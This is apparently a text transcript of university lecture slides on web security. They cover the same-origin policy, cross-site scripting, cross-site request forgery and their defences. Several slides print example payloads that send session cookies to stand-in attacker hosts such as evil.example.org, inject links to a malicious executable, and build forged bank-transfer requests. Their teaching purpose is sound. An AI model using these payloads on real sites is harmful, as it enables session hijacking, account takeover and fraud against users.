eecs 354 network security
DESCRIPTION
EECS 354 Network Security. Cross Site Scripting (XSS). Web Application Design. Modern web pages are complex Server side Web servers, backend code, databases Client side Web browsers parse HTML, execute Javascript Rich content: Java applets, Flash objects. Web Application Security. - PowerPoint PPT PresentationTRANSCRIPT
Web Application Design
Modern web pages are complexServer side
Web servers, backend code, databases
Client sideWeb browsers parse HTML, execute Javascript
Rich content: Java applets, Flash objects
Web Application Security
Server side attacksAttacking the host server to steal data, even root a box
SQL injection to read arbitrary database information
Shell attacks, direct object reference, directory traversal, and more
Client side attacks
Web Application Security
Server side attacks
Client side attacksExploiting users’ trust in their browser
Javascript attacks on other clients
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Browser Basics
Document Object Model (DOM)An interface to access HTML elements dynamically
Commonly referenced in Javascript
Very powerfulReadable and writable
Document Object ModelA few common tools:
document.GetElementsBy*Returns list of elements with a particular property
document.cookieRead cookies associated with current document
window.locationRead/write document location
<element>.innerHTMLRead/write an element’s HTML content
Same Origin Policy
Working with iframesA parent window can get a reference to a frame’s document
var x = document.getElementById("myframe");
var y = x.contentDocument;
document.write(y.cookie);
How is this safe for something like <iframe src=“http://www.twitter.com”>?
Same Origin Policy
• The Same Origin Policy (SOP) protects against certain Javascript attacks
• Servers can’t read DOM objects across domains• Must share scheme, hostname, and port
• Example: http://www.example.com• http://www.example.com/dir/page.html -
Success
• http://www.attacker.com/dir/page.html - Failure
Same Origin Policy
• Prevents an attack like the following:
• User visits example.com and starts a session
• User visits malicious.com
• malicious.com creates an invisible iframe for example.com
• malicious.com can access document.cookie and HTML content of example.com without the user’s permission
Cross Origin Resource Sharing (CORS)
• Cross Origin Resource Sharing is an explicit exception to the Same Origin Policy
• Allows DOM access across domains through explicit header
• For example, logging into Gmail can also log into the embedded Google Chat
• Implemented through header
• Access-Control-Allow-Origin: http://mail.google.com
Introduction
ExampleA message board has a XSS vulnerability in the message posting
A hacker posts a message that contains malicious Javascript code to send passwords to a server
When a user visits an exploited page, that user’s password is sent to the hacker
The Vulnerability
Pages that are susceptible to XSS attacks often allow users to add content to the page
Simple attack vectors: webblog comments, message board posting, adding to a wiki
Add the following content
<script type="text/javascript">
alert('vulnerable');
</script>
The VulnerabilityJavascript can be extremely dangerous
Access to cookies, HTML, and all of the DOM
Allows privacy leakage or cookie stealing
Redirect to arbitrary pages, cache poisoning for persistence
Browsers are not always secureJavascript attacks can lead to full remote code execution through browser vulnerabilities
What to do
Pages that are vulnerable aren’t helpful unless there’s valuable information to retrieve
The most common and easy to steal information is the user’s cookie
With a stolen cookie, you’ll often be able to log in as the user using their session
Cookies
A cookie is data stored on the client that is persistent through requests
You log in to access your email (http://u.northwestern.edu/)
The server validates your user name and password then sets a cookie
Your browser will send this cookie with subsequent requests to automatically validate your credentials
Sessions
Sessions allow websites to retain information about a user
Session cookies are stored on the client side
Contains a unique hash which on the server side refers to a specific account
Session cookies should have a short expiration to mitigate attacks
Stealing Cookies
Use the DOM
<script type="text/javascript">
document.location='http://myserver/savecookie/?cookie='+document.cookie;
</script>
The browser is redirected to another server that saves the cookie
This is very obvious to the user
Stealing CookiesHow to steal info without user knowing
Simple to do with XMLHttpRequest
var req = new XMLHttpRequest();
req.open('GET', 'http://www.example.com/?cookie=‘ + document.cookie, false);
req.send();
req.responseText; // the response
XMLHttpRequests are also subject to SOP
Restricts reading the response for a cross domain request
Stealing Cookies
How to steal info without user knowingOr, an image tag:
<script>
document.write(“<img src=\”http://evil.example.org/steal.php?cookie=\” + encodeURI(document.cookie); />”)
</script>
Attack Vectors
Browsers have extremely complicated ways of parsing and rendering a webpage
Makes the process open to security holes
A standard XSS attack will simply inject script tags into the page
There are several more advanced schemes
Stored vs Reflected
Stored (Persistent)Attack stored on server
Becomes part of the website content
Affects all who visit the webpage
Like a forum post
Reflected (Non-persistent)Attack not stored on server
A GET parameter used to render the page
Only affects users who use an malicious URL
Attack Vectors
OnLoad, OnError, etc<img src="http://url.to.file.which/not.exist"
onerror=alert(document.cookie);>
GET parametershttp://example.com/index.php?
user=<script>alert(%22123%22)</script>
And a more malicious example... http://example.com/index.php?user=<script>window.onload =
function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
Protecting against XSS
Firewalls ineffectivePorts 80 and 443 must be open
Sanitize user inputDo not allow <script></script> tagsDo not allow tags with Javascript attributes
Design sessions wellPassword should not be recoverable from cookies
Encoding JavascriptHTML Entity Encoding
< to <> to >“ to "Used for embedding special HTML characters as text in the pageRendered safely by the browser
HTML Attribute EncodingReplaces characters that are not valid inside HTML attributesSpecifically, '&', '<', and '”' are encoded
Cross Site Request Forgery
Websites use URLs to specify requests for an action
Example<img src="http://bank.example/withdraw?account=bob
&amount=1000000&for=mallory">
This image will cause any visitor to make a request to the image source server
If bob has his cookie set, visiting a page with this image will allow his account to authenticate and execute the transaction
CSRF Requirements
A CSRF vulnerability requires: No check of referrer header
Form submission with side-effects (the transaction)
All necessary form inputs must be known
Victim must have an active session with vulnerable site (session cookie)
This situation is common in practice
CSRF(POST)In reality, no one is going to use HTTP GET for this type of request
Risk still exists with HTTP POST
User must visit a malicious webpageMalicious site executes CSRF attack on client data at vulnerable site
Exploit does not require user inputCan use onload() attribute to execute without user permission
<form action=“http://bank.example/submit” type= “post”>Name: <input type=“text” name=“trash” /><input type=“hidden” value=”me” name=“to-account” /><input type=“hidden” value=”victim” name=“from-account” /><input type=“hidden” value=”1000” name=“amount” /></form>
CSRF Tokens
Need a CSRF TokenRandom nonce (‘number used only once’) that is unpredictable to users
CSRF tokens need to be linked with sessions
User-specific, only known to that user
XSS defeats CSRF tokens and other CSRF protections
Browser Plugins
• Java, Flash player, Quicktime, ActiveX
• Frequently targeted for attacks
• Plugins extend the functionality of the web browser
• Compromise of a plugin is effectively a compromise of the browser, allowing remote code execution• Sandboxing can prevent this when
implemented effectively